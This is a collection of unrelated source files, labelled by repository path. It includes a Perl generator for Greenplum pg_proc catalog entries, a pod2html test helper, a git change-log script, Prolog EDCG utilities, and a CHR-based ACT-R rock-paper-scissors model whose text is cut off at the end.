my $arg1 = $func_arg;
$arg1 =~ s/\"//g;
$arg1 =~ s/^\s+//;
$arg1 =~ s/\s+$//g;
push @argtype, $arg1;
}
else # split func_arg
{
if ($func_arg =~ m/^in\s+out\s+/i)
{
# NOTE: we want to split by spaces,
# so convert "in out" to "inout"
$func_arg =~ s/^in\s+out\s+/inout /i;
}
my @baz = split(/\s+/, $func_arg);
if (3 == scalar(@baz))
{
die "$fnname: arg str badly formed: $argstr"
unless ($baz[0] =~ m/^(in|out|inout|in\s+out)$/i);
my $aclass = shift @baz;
if ($aclass =~ m/^(in|out)$/i)
{
# use first char as argclass
$argclass[$nargs] = lc(substr($aclass, 0, 1));
}
else
{
$argclass[$nargs] = "b"; # [b]oth
}
# drop thru to handle two remaining args
# (and don't allow multiple IN/OUT for same func_arg)
die "$fnname: arg str badly formed: $argstr"
if ($baz[0] =~ m/^(in|out|inout|in\s+out)$/i);
}
die "$fnname: arg str badly formed: $argstr"
unless (2 == scalar(@baz));
# last token is always a type
my $arg1 = pop(@baz);
$arg1 =~ s/\"//g;
$arg1 =~ s/^\s+//;
$arg1 =~ s/\s+$//g;
push @argtype, $arg1;
# remaining token is an arg_class or name
if ($baz[0] =~ m/^(in|out|inout|in\s+out)$/i)
{
my $aclass = shift @baz;
if ($aclass =~ m/^(in|out)$/i)
{
$argclass[$nargs] = lc(substr($aclass, 0, 1));
}
else # both
{
$argclass[$nargs] = "b";
}
}
else # not a class, so it's a name
{
my $arg2 = pop(@baz);
$arg2 =~ s/\"//g;
$arg2 =~ s/^\s+//;
$arg2 =~ s/\s+$//g;
$argname[$nargs] = $arg2;
}
} # end split func_arg
$nargs++;
} # end for my func_arg
for my $ftyp (@argtype)
{
push @argoids, get_typeoid($ftyp);
}
# check list of names
if (scalar(@argname))
{
# fill in blank names if necessary
for my $ii (0..($nargs-1))
{
$argname[$ii] = ""
unless (defined($argname[$ii]) &&
length($argname[$ii]));
}
$fndef->{tuple}->{proargnames} = "{" .
join(",", @argname) . "}";
}
my @iargs; # count the input args
# check list of arg class
if (scalar(@argclass))
{
# if no class specified, use "IN"
for my $ii (0..($nargs-1))
{
$argclass[$ii] = "i"
unless (defined($argclass[$ii]) &&
length($argclass[$ii]));
# distinguish input args from output
push @iargs, $argoids[$ii]
if ($argclass[$ii] !~ m/o/i);
}
$fndef->{tuple}->{proargmodes} = "{" .
join(",", @argclass) . "}";
}
# sigh. stupid difference between representation for oidvector and
# oid array. This is an oid array for proallargtypes.
# Oidvector uses spaces, not commas.
my $oidstr = "{" . join(",", @argoids) . "}";
# number of args is input args if have arg_class, else just count
$fndef->{tuple}->{pronargs} =
scalar(@argclass) ? scalar(@iargs) : $nargs;
if (scalar(@argclass))
{
# distinguish input args from all args
$fndef->{tuple}->{proallargtypes} = $oidstr;
$fndef->{tuple}->{proargtypes} =
join(" ", @iargs);
# handle case of no input args (pg_get_keywords)
$fndef->{tuple}->{proargtypes} = ""
unless (defined($fndef->{tuple}->{proargtypes}) &&
length($fndef->{tuple}->{proargtypes}));
}
else # no input args (or all input args...)
{
$fndef->{tuple}->{proargtypes} =
join(" ", @argoids);
}
return $oidstr;
} # end make_allargs
# parse the WITH clause
sub get_fnwithhash
{
my $funcdef = shift;
my %withh;
use Text::ParseWords;
if ($funcdef =~ m/with\s*\(.*\)/i)
{
my @baz = ($funcdef =~ m/(with\s*\(.*\))/is);
die "bad WITH: $funcdef" unless (scalar(@baz));
my $withclause = shift @baz;
$withclause =~ s/^\s*with\s*\(\s*//is;
$withclause =~ s/\s*\)\s*$//s;
# split by comma, but use Text::ParseWords::parse_line to
# preserve quoted descriptions
@baz = parse_line(",", 1, $withclause);
for my $withdef (@baz)
{
my @bzz = split("=", $withdef, 2);
die "bad WITH def: $withdef" unless (2 == scalar(@bzz));
my $kk = shift @bzz;
my $vv = shift @bzz;
$kk =~ s/^\s+//;
$kk =~ s/\s+$//;
$kk = lc($kk);
$vv =~ s/^\s+//;
$vv =~ s/\s+$//;
if ($kk =~ m/proisagg|proiswin/)
{
# unquote the string
$vv =~ s/\"//g;
}
if ($kk =~ m/prosrc/)
{
# double the single quotes
$vv =~ s/\'/\'\'/g;
}
$withh{$kk} = $vv;
}
}
return \%withh;
} # end get_fnwithhash
sub printfndef
{
my $fndef = shift;
my $bigstr = "";
my $addcomment = 1;
die "bad fn" unless (exists($fndef->{with}->{oid}));
my $tup = $fndef->{tuple};
my $nam = $fndef->{name};
$nam =~ s/\"//g;
if (exists($fndef->{prefix}) &&
length($fndef->{prefix}))
{
$bigstr .= $fndef->{prefix};
}
# print Data::Dumper->Dump([$tup]);
# print $fndef->{name} . "\n\n";
$bigstr .= "/* " .
$fndef->{name} . "(" .
($fndef->{rawargs} ? $fndef->{rawargs} : "" ) . ") => " .
(exists($fndef->{returntype}) ? $fndef->{returntype} : "()") . " */ \n"
if ($addcomment);
$bigstr .= "DATA(insert OID = " . $fndef->{with}->{oid} . " ( " .
$nam . " " . $tup->{pronamespace} . " " .
$tup->{proowner} . " " .
$tup->{prolang} . " " .
$tup->{procost} . " " .
$tup->{prorows} . " " .
($tup->{provariadic} ? $tup->{provariadic} : "0") . " " .
(exists($fndef->{with}->{proisagg}) ? $fndef->{with}->{proisagg} :
($tup->{proisagg} ? "t" : "f") ) . " " .
($tup->{prosecdef} ? "t" : "f") . " " .
($tup->{proisstrict} ? "t" : "f") . " " .
($tup->{proretset} ? "t" : "f") . " " .
($tup->{provolatile} ? $tup->{provolatile} : "_null_" ) . " " .
($tup->{pronargs} ? $tup->{pronargs} : 0) . " " .
($tup->{pronargdefaults} ? $tup->{pronargdefaults} : 0) . " " .
($tup->{prorettype} ? $tup->{prorettype} : '""') . " " .
(exists($fndef->{with}->{proiswin}) ? $fndef->{with}->{proiswin} :
($tup->{proiswin} ? "t" : "f")) . " " .
($tup->{proargtypes} ? '"'. $tup->{proargtypes} . '"' : '""') . " " .
($tup->{proallargtypes} ? '"' . $tup->{proallargtypes} . '"' : "_null_") . " " .
($tup->{proargmodes} ? '"' . $tup->{proargmodes} . '"' : "_null_") . " " .
($tup->{proargnames} ? '"' . $tup->{proargnames} . '"' : "_null_") . " " .
($tup->{proargdefault} ? $tup->{proargdefaults} : "_null_") . " " .
(exists($fndef->{with}->{prosrc}) ? $fndef->{with}->{prosrc} :
($tup->{prosrc} ? $tup->{prosrc} : "_null_" )) . " " .
($tup->{probin} ? $tup->{probin} : "_null_") . " " .
($tup->{proacl} ? $tup->{proacl} : "_null_") . " " .
($tup->{proconfig} ? $tup->{proconfig} : "_null_") . " " .
$tup->{prodataaccess} . " " .
"));\n";
$bigstr .= "DESCR(" . $fndef->{with}->{description} . ");\n"
if (exists($fndef->{with}->{description}));
$bigstr .= "\n"
if ($addcomment);
return $bigstr;
} # end printfndef
# MAIN routine for pg_proc generation
sub doprocs()
{
my $whole_file;
{
# $$$ $$$ undefine input record separator (\n)
# and slurp entire file into variable
local $/;
undef $/;
my $fh;
open $fh, "< $glob_glob->{procdef}"
or die "cannot open $glob_glob->{procdef}: $!";
$whole_file = <$fh>;
close $fh;
}
my @allfndef;
my $fndefh;
# XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX
# XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX
# NOTE: preprocess dollar quoted strings for SQL functions:
if ($whole_file =~ m/\$\$/)
{
my @ddd = split(/(\$\$)/m, $whole_file);
my @eee;
my $gotone = -1;
for my $d1 (@ddd)
{
$gotone *= -1
if ($d1 =~ m/\$\$/);
if (($gotone > 0) &&
($d1 !~ m/\$\$/))
{
$d1 =~ s/\'/\'\'/gm; # double quote the single quotes
# quurl - convert to a single quoted string without spaces
$d1 =~ s/([^a-zA-Z0-9])/uc(sprintf("%%%02lx", ord $1))/eg;
# and make it a quoted, double quoted string (eg '"string"')
$d1 = "'\"" . $d1 . "\"'";
}
# strip the $$ tokens
push @eee, $d1
if ($d1 !~ m/\$\$/);
}
$whole_file = join("", @eee);
}
# XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX
# XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX
my @allfuncs = split(/\;\s*$/m, $whole_file);
# print Data::Dumper->Dump(\@allfuncs);
for my $funcdef (@allfuncs)
{
my $funcprefix;
undef $funcprefix;
# find "prefix", ie comments or #DEF's, preceding function definition.
if ($funcdef =~ m/\s*\-\-.*create func/ims)
{
my @ppp = ($funcdef =~ m/(^\s*\-\-.*\n)\s*create func/ims);
# print "ppp: ",Data::Dumper->Dump(\@ppp);
if (scalar(@ppp))
{
my @qqq = split(/\n/, $ppp[0]);
$funcprefix = "";
for my $l1 (@qqq)
{
# uncomment #DEF's
if ($l1 =~ m/^\s*\-\- \#define/)
{
$l1 =~ s|\-\-\s*||;
}
# convert to c-style comments
if ($l1 =~ m/^\s*\-\-/)
{
$l1 =~ s|\-\-|\/\*|;
$l1 .= " */";
}
$funcprefix .= $l1 . "\n";
}
my $rex2 = quotemeta($ppp[0]);
# remove the prefix
$funcdef =~ s/$rex2//;
# print $funcprefix;
}
}
next
unless ($funcdef =~
m/create func(?:tion)*\s+((\w+\.)*(\")*(\w+)(\")*)/i);
my $orig = $funcdef;
# strip "create function"
$funcdef =~ s/^\s*create func(?:tion)*\s*//i;
# find function name (precedes leading paren)
my @foo = split(/\(\s*/, $funcdef, 2);
die "bad funcdef: $orig" unless (2 == scalar(@foo));
my $funcname = shift @foo;
my $fnrex = quotemeta($funcname);
# strip func name
$funcdef =~ s/\s*$fnrex\s*//;
@foo = split(/\s*\)/, $funcdef, 2);
die "bad funcdef: $orig" unless (2 == scalar(@foo));
my $fnargs = shift @foo;
# remove leading paren
$fnargs =~ s/\s*\(//;
$funcdef = shift @foo;
die "bad funcdef - no RETURNS: $orig"
unless ($funcdef =~ m/\s*RETURN/i);
$funcdef =~ s/\s+RETURNS\s+//i;
my $fntdef = get_fntype($funcdef);
# remove the function arg list tokens
@foo = split(/\s+/, $fntdef);
for my $ff (@foo)
{
$ff = quotemeta($ff);
$funcdef =~ s/^$ff//;
}
# print "name: $funcname\nargs: $fnargs\nreturns: $fntdef\nrest: $funcdef\n";
# print Data::Dumper->Dump(get_fnoptlist($funcdef));
my $t1 = get_fnoptlist($funcdef);
my $w1 = get_fnwithhash($funcdef);
# print "name: $funcname\nargs: $fnargs\nreturns: $fntdef\nrest: $funcdef\n";
# print Data::Dumper->Dump($t1);
$fndefh = { name=> $funcname, rawtxt => $orig,
returntype => $fntdef,
rawargs => $fnargs, optlist => $t1, with => $w1 };
$fndefh->{prefix} = $funcprefix
if (defined($funcprefix));
push @allfndef, $fndefh;
}
# print Data::Dumper->Dump(\@allfndef);
for my $fndef (@allfndef)
{
make_opt($fndef);
make_rettype($fndef);
make_allargs($fndef);
# Fill in defaults for procost and prorows. (We have to do this
# after make_rettype, as we don't know if it's a set-returning function
# before that.
$fndef->{tuple}->{procost} = 1 unless defined($fndef->{tuple}->{procost});
if ($fndef->{tuple}->{proretset})
{
$fndef->{tuple}->{prorows} = 1000 unless defined($fndef->{tuple}->{prorows});
}
else
{
$fndef->{tuple}->{prorows} = 0
}
}
# print Data::Dumper->Dump(\@allfndef);
my $verzion = "unknown";
$verzion = $glob_glob->{_sleazy_properties}->{version}
if (exists($glob_glob->{_sleazy_properties}) &&
exists($glob_glob->{_sleazy_properties}->{version}));
$verzion = $0 . " version " . $verzion;
my $nnow = localtime;
my $gen_hdr_str = "";
# $gen_hdr_str = "/* TIDYCAT_BEGIN_PG_PROC_GEN \n\n";
$gen_hdr_str = "\n";
$gen_hdr_str .= " WARNING: DO NOT MODIFY THE FOLLOWING SECTION: \n" .
" Generated by " . $verzion . "\n" .
" on " . $nnow . "\n\n" .
" Please make your changes in " . $glob_glob->{procdef} . "\n*/\n\n";
my $bigstr = "";
$bigstr .= $gen_hdr_str;
# build definitions in same order as input file
for my $fndef (@allfndef)
{
$bigstr .= printfndef($fndef);
}
$bigstr .= "\n";
# $bigstr .= "\n\n/* TIDYCAT_END_PG_PROC_GEN */\n";
if (0)
{
print $bigstr;
}
else
{
# $$$ $$$ undefine input record separator (\n)
# and slurp entire file into variable
local $/;
undef $/;
my $tfh;
open $tfh, "< $glob_glob->{prochdr}"
or die "cannot open $glob_glob->{prochdr}: $!";
my $target_file = <$tfh>;
close $tfh;
my $prefx = quotemeta('TIDYCAT_BEGIN_PG_PROC_GEN');
my $suffx = quotemeta('TIDYCAT_END_PG_PROC_GEN');
my @zzz = ($target_file =~
m/^\s*\/\*\s*$prefx\s*\s*$(.*)^\s*\/\*\s*$suffx\s*\*\/\s*$/ms);
die "bad target: $glob_glob->{prochdr}"
unless (scalar(@zzz));
my $rex = $zzz[0];
# replace carriage returns first, then quotemeta, then fix CR again...
$rex =~ s/\n/SLASHNNN/gm;
$rex = quotemeta($rex);
$rex =~ s/SLASHNNN/\\n/gm;
# substitute the new generated proc definitions for the prior
# generated defitions in the target file
$target_file =~ s/$rex/$bigstr/ms;
# save a backup file
system "cp $glob_glob->{prochdr} $glob_glob->{prochdr}.backup";
my $outi;
open $outi, "> $glob_glob->{prochdr}"
or die "cannot open $glob_glob->{prochdr} for write: $!";
# rewrite the target file
print $outi $target_file;
close $outi;
}
}
# MAIN routine for pg_type parsing
sub readtypes
{
my $fh;
open $fh, "< pg_type.h"
or die "cannot open pg_type.h: $!";
while (my $row = <$fh>)
{
# The DATA lines in pg_type.h look like this:
# DATA(insert OID = 16 ( bool ...));
#
# Extract the oid and the type name.
$row =~ /^DATA\(insert\s+OID\s+=\s+(\d+)\s+\(\s+(\w+).*\)/ or next;
my $oid = $1;
my $typname = $2;
# save the oid for each typename for CREATE TYPE...ELEMENT lookup
$glob_typeoidh{lc($typname)} = $oid;
}
close $fh;
}
if (1)
{
readtypes();
doprocs();
}
# SLZY_TOP_BEGIN
if (0)
{
my $bigstr = <<'EOF_bigstr';
{
"args" : [
{
"alias" : "?",
"long" : "Print a brief help message and exits.",
"name" : "help",
"required" : "0",
"short" : "brief help message",
"type" : "untyped"
},
{
"long" : "Prints the manual page and exits.",
"name" : "man",
"required" : "0",
"short" : "full documentation",
"type" : "untyped"
},
{
"alias" : "prosource|procsource|prosrc|procsrc",
"long" : "sql definitions for pg_proc functions (normally pg_proc.sql)",
"name" : "procdef",
"required" : "1",
"short" : "sql definitions for pg_proc functions",
"type" : "file"
},
{
"alias" : "proheader|procheader|prohdr",
"long" : "header file to modify (normally pg_proc_gp.h). The original file is copied to a .backup copy.",
"name" : "prochdr",
"required" : "1",
"short" : "header file to modify (procedures)",
"type" : "file"
},
],
"long" : "$toplong",
"properties" : {
"slzy_date" : 1317671892
},
"short" : "generate pg_proc entries",
"version" : "8"
}
EOF_bigstr
}
# SLZY_TOP_END
# SLZY_LONG_BEGIN
if (0)
{
my $toplong = <<'EOF_toplong';
catullus.pl converts annotated sql CREATE FUNCTION and CREATE TYPE
statements into pg_proc and updates pg_proc_gp.h.
The pg_proc definitions are stored in pg_proc.sql. catullus reads
these definitions and, using type information from pg_type.h,
generates DATA statements for loading the pg_proc table. In
pg_proc_gp.h, it looks for a block of code delimited by the tokens
TIDYCAT_BEGIN_PG_PROC_GEN and TIDYCAT_END_PG_PROC_GEN and substitutes
the new generated code for the previous contents.
{HEAD1} CAVEATS/FUTURE WORK
The aggregate transition functions are constructed from CREATE
FUNCTION statements. But we should really use CREATE AGGREGATE
statements to generate the DATA statements for pg_aggregate and the
pg_proc entries. A similar limitation exists for window functions in
pg_window. And operators and operator classes? Access methods? Casts?
EOF_toplong
}
# SLZY_LONG_END
| xuegang/gpdb | src/include/catalog/catullus.pl | Perl | apache-2.0 | 29,129 |
require Cwd;
require Pod::Html;
require Config;
use File::Spec::Functions;
sub convert_n_test {
my($podfile, $testname) = @_;
my $cwd = Cwd::cwd();
my $base_dir = catdir $cwd, updir(), "lib", "Pod";
my $new_dir = catdir $base_dir, "t";
my $infile = catfile $new_dir, "$podfile.pod";
my $outfile = catfile $new_dir, "$podfile.html";
Pod::Html::pod2html(
"--podpath=t",
"--podroot=$base_dir",
"--htmlroot=/",
"--infile=$infile",
"--outfile=$outfile"
);
my ($expect, $result);
{
local $/;
# expected
$expect = <DATA>;
$expect =~ s/\[PERLADMIN\]/$Config::Config{perladmin}/;
if (ord("A") == 193) { # EBCDIC.
$expect =~ s/item_mat_3c_21_3e/item_mat_4c_5a_6e/;
}
# result
open my $in, $outfile or die "cannot open $outfile: $!";
$result = <$in>;
close $in;
}
ok($expect eq $result, $testname) or do {
my $diff = '/bin/diff';
-x $diff or $diff = '/usr/bin/diff';
if (-x $diff) {
my $expectfile = "pod2html-lib.tmp";
open my $tmpfile, ">", $expectfile or die $!;
print $tmpfile $expect;
close $tmpfile;
my $diffopt = $^O eq 'linux' ? 'u' : 'c';
open my $diff, "diff -$diffopt $expectfile $outfile |" or die $!;
print "# $_" while <$diff>;
close $diff;
unlink $expectfile;
}
};
# pod2html creates these
1 while unlink $outfile;
1 while unlink "pod2htmd.tmp";
1 while unlink "pod2htmi.tmp";
}
1;
| cristiana214/cristianachavez214-cristianachavez | perl/src/lib/Pod/t/pod2html-lib.pl | Perl | apache-2.0 | 1,471 |
#!/usr/bin/perl
use 5.010;
use strict;
use autodie;
if (@ARGV < 2) {
print $ARGV;
die "Usage:\n\tperl cp.pl in.md out.changes > out.md\n";
}
open IMD, '<', $ARGV[0]; # input markdown file
while (<IMD>) {
print;
next;
}
close IMD;
open CHANGES, '>', $ARGV[1]; # changes
my $hash;
my $datetime;
my $filename;
my $insertions;
my $deletions;
# print header to file.changes
print CHANGES <<EOF;
---
tzx-changes:
EOF
my $changes = `git log --stat --pretty=format:%H-%at $ARGV[0]`;
my @lines = split /\n/, $changes;
foreach (@lines) {
if (/^(.{40})-(\d{10})/) {
$hash = $1;
$datetime = $2;
}
if (/^ (.*) \|/) {
$filename = $1;
}
if (/file changed/) {
$insertions = 0;
$deletions = 0;
$insertions = $1 if /, (\d+) insertion/;
$deletions = $1 if /, (\d+) deletion/;
# print CHANGES " - $hash, $datetime, $insertions, $deletions\n";
print CHANGES " - hash: $hash\n datetime: $datetime\n insertions: $insertions\n deletions: $deletions\n";
}
}
print CHANGES "\ntzx-filename: $filename\n...\n";
close CHANGES;
| district10/blog | cp.pl | Perl | mit | 1,142 |
% Specialized utilities:
:- ['generic-util.pl'].
:- ['messages.pl'].
% Given a goal Goal and a list of hidden parameters GList
% create a new goal TGoal with the correct number of arguments.
% Also return the arity of the original goal.
'_new_goal'(Goal, GList, GArity, TGoal) :-
functor(Goal, Name, GArity),
'_number_args'(GList, GArity, TArity),
functor(TGoal, Name, TArity),
'_match'(1, GArity, Goal, TGoal).
% Add the number of arguments needed for the hidden parameters:
'_number_args'([], N, N).
'_number_args'([A|List], N, M) :-
'_is_acc'(A), !,
N2 is N+2,
'_number_args'(List, N2, M).
'_number_args'([A|List], N, M) :-
'_is_pass'(A), !,
N1 is N+1,
'_number_args'(List, N1, M).
'_number_args'([_|List], N, M) :- !,
% error caught elsewhere
'_number_args'(List, N, M).
% Give a list of G's hidden parameters:
'_has_hidden'(G, GList) :-
functor(G, GName, GArity),
pred_info(GName, GArity, GList).
'_has_hidden'(G, []) :-
functor(G, GName, GArity),
\+pred_info(GName, GArity, _).
% Succeeds if A is an accumulator:
'_is_acc'(A) :- atomic(A), !, '_acc_info'(A, _, _, _, _, _, _).
'_is_acc'(A) :- functor(A, N, 2), !, '_acc_info'(N, _, _, _, _, _, _).
% Succeeds if A is a passed argument:
'_is_pass'(A) :- atomic(A), !, '_pass_info'(A, _).
'_is_pass'(A) :- functor(A, N, 1), !, '_pass_info'(N, _).
% Get initial values for the accumulator:
'_acc_info'(AccParams, LStart, RStart) :-
functor(AccParams, Acc, 2),
'_is_acc'(Acc), !,
arg(1, AccParams, LStart),
arg(2, AccParams, RStart).
'_acc_info'(Acc, LStart, RStart) :-
'_acc_info'(Acc, _, _, _, _, LStart, RStart).
% Isolate the internal database from the user database:
'_acc_info'(Acc, Term, Left, Right, Joiner, LStart, RStart) :-
acc_info(Acc, Term, Left, Right, Joiner, LStart, RStart).
'_acc_info'(Acc, Term, Left, Right, Joiner, _, _) :-
acc_info(Acc, Term, Left, Right, Joiner).
'_acc_info'(dcg, Term, Left, Right, Left=[Term|Right], _, []).
% Get initial value for the passed argument:
% Also, isolate the internal database from the user database.
'_pass_info'(PassParam, PStart) :-
functor(PassParam, Pass, 1),
'_is_pass'(Pass), !,
arg(1, PassParam, PStart).
'_pass_info'(Pass, PStart) :-
pass_info(Pass, PStart).
'_pass_info'(Pass, _) :-
pass_info(Pass).
% Calculate the joiner for an accumulator A:
'_joiner'([], _, _, true, Acc, Acc).
'_joiner'([Term|List], A, NaAr, (Joiner,LJoiner), Acc, NewAcc) :-
'_replace_acc'(A, LeftA, RightA, MidA, RightA, Acc, MidAcc),
'_acc_info'(A, Term, LeftA, MidA, Joiner, _, _), !,
'_joiner'(List, A, NaAr, LJoiner, MidAcc, NewAcc).
% Defaulty case:
'_joiner'([_Term|List], A, NaAr, Joiner, Acc, NewAcc) :-
print_message(warning, missing_accumulator(NaAr,A)),
'_joiner'(List, A, NaAr, Joiner, Acc, NewAcc).
% Replace hidden parameters with ones containing initial values:
'_replace_defaults'([], [], _).
'_replace_defaults'([A|GList], [NA|NGList], AList) :-
'_replace_default'(A, NA, AList),
'_replace_defaults'(GList, NGList, AList).
'_replace_default'(A, NewA, AList) :- % New initial values for accumulator.
functor(NewA, A, 2),
member(NewA, AList), !.
'_replace_default'(A, NewA, AList) :- % New initial values for passed argument.
functor(NewA, A, 1),
member(NewA, AList), !.
'_replace_default'(A, NewA, _) :- % Use default initial values.
A=NewA.
| mndrix/edcg | prolog/special-util.pl | Perl | mit | 3,432 |
wizard(ron).
hasWand(harry).
quidditchPlayer(harry).
wizard(X) :- hasBroom(X), hasWand(X).
hasBroom(X) :- quidditchPlayer(X).
% ?- wizard(ron).
% true.
% ?- witch(ron).
% ERROR
% ?- wizard(hermione).
% false.
% ?- witch(hermione).
% ERROR
% ?- wizard(harry).
% true.
% ?- wizard(Y).
% Y = harry;
% Y = ron.
% witch(Y).
% ERROR.
| willprice/learn-prolog-now | ex1-5.pl | Perl | mit | 335 |
file_search_path(chractr,'.').
:- include(chractr('actr_core.pl')).
:- chr_constraint run/0, run/1, fire/0.
/*
* This model is designed to play against an opponent choosing equally from rock, paper and scissors in the rock paper scissors experiment.
* It has been derived from the corresponding ACT-R model.
* It is configured to add the subsymbolic information of the ACT-R 6.0 conflict resolution mechanism (i.e. rewards etc.) and
* will fail when trying to load it with the ACT-R 5.0 configuration (i.e. conflict_resolution_old.pl).
* Note that this randomized experiment has been replaced by an experiment with pre-defined (randomly generated) samples in the paper.
* The files expsample.pl and expsample5.pl are able to receive a sample and performing the experiment as described in the paper.
*/
delay-play-scissors@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)==>true|conflict_set(rule(play-scissors,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[])).
play-scissors@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)\apply_rule(rule(play-scissors,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[]))<=>L=[rock,paper,scissors],length(L,N),random_between(1,N,I),nth1(I,L,X) | output(scissors),output(X),buffer_change(goal,chunk(_,_,[ (me,scissors), (opponent,X)])),conflict_resolution.
delay-play-paper@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)==>true|conflict_set(rule(play-paper,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[])).
play-paper@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)\apply_rule(rule(play-paper,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[]))<=>L=[rock,paper,scissors],length(L,N),random_between(1,N,I),nth1(I,L,X) |output(paper),output(X),buffer_change(goal,chunk(_,_,[ (me,paper), (opponent,X)])),conflict_resolution.
delay-play-rock@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)==>true|conflict_set(rule(play-rock,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[])).
play-rock@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)\apply_rule(rule(play-rock,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[]))<=>L=[rock,paper,scissors],length(L,N),random_between(1,N,I),nth1(I,L,X) | output(rock),output(X),buffer_change(goal,chunk(_,_,[ (me,rock), (opponent,X)])),conflict_resolution.
delay-recognize-win1@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,scissors)==>true|conflict_set(rule(recognize-win1,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,scissors)],[])).
recognize-win1@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,scissors)\apply_rule(rule(recognize-win1,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,scissors)],[]))<=>true|output(me),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution.
delay-recognize-win2@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,rock)==>true|conflict_set(rule(recognize-win2,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,rock)],[])).
recognize-win2@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,rock)\apply_rule(rule(recognize-win2,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,rock)],[]))<=>true|output(me),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution.
delay-recognize-win3@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,paper)==>true|conflict_set(rule(recognize-win3,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,paper)],[])).
recognize-win3@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,paper)\apply_rule(rule(recognize-win3,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,paper)],[]))<=>true|output(me),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution.
delay-recognize-draw@fire,buffer(goal,C,A),chunk(A,game),chunk_has_slot(A,opponent,B),chunk_has_slot(A,me,B)==>B\==nil|conflict_set(rule(recognize-draw,[fire,buffer(goal,C,A),chunk(A,game),chunk_has_slot(A,opponent,B),chunk_has_slot(A,me,B)],[])).
recognize-draw@buffer(goal,C,A),chunk(A,game),chunk_has_slot(A,opponent,B),chunk_has_slot(A,me,B)\apply_rule(rule(recognize-draw,[fire,buffer(goal,C,A),chunk(A,game),chunk_has_slot(A,opponent,B),chunk_has_slot(A,me,B)],[]))<=>B\==nil|output(draw),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution.
delay-recognize-defeat1@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,rock)==>true|conflict_set(rule(recognize-defeat1,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,rock)],[])).
recognize-defeat1@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,rock)\apply_rule(rule(recognize-defeat1,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,rock)],[]))<=>true|output(opponent),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution.
delay-recognize-defeat2@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,paper)==>true|conflict_set(rule(recognize-defeat2,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,paper)],[])).
recognize-defeat2@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,paper)\apply_rule(rule(recognize-defeat2,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,paper)],[]))<=>true|output(opponent),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution.
delay-recognize-defeat3@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,scissors)==>true|conflict_set(rule(recognize-defeat3,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,scissors)],[])).
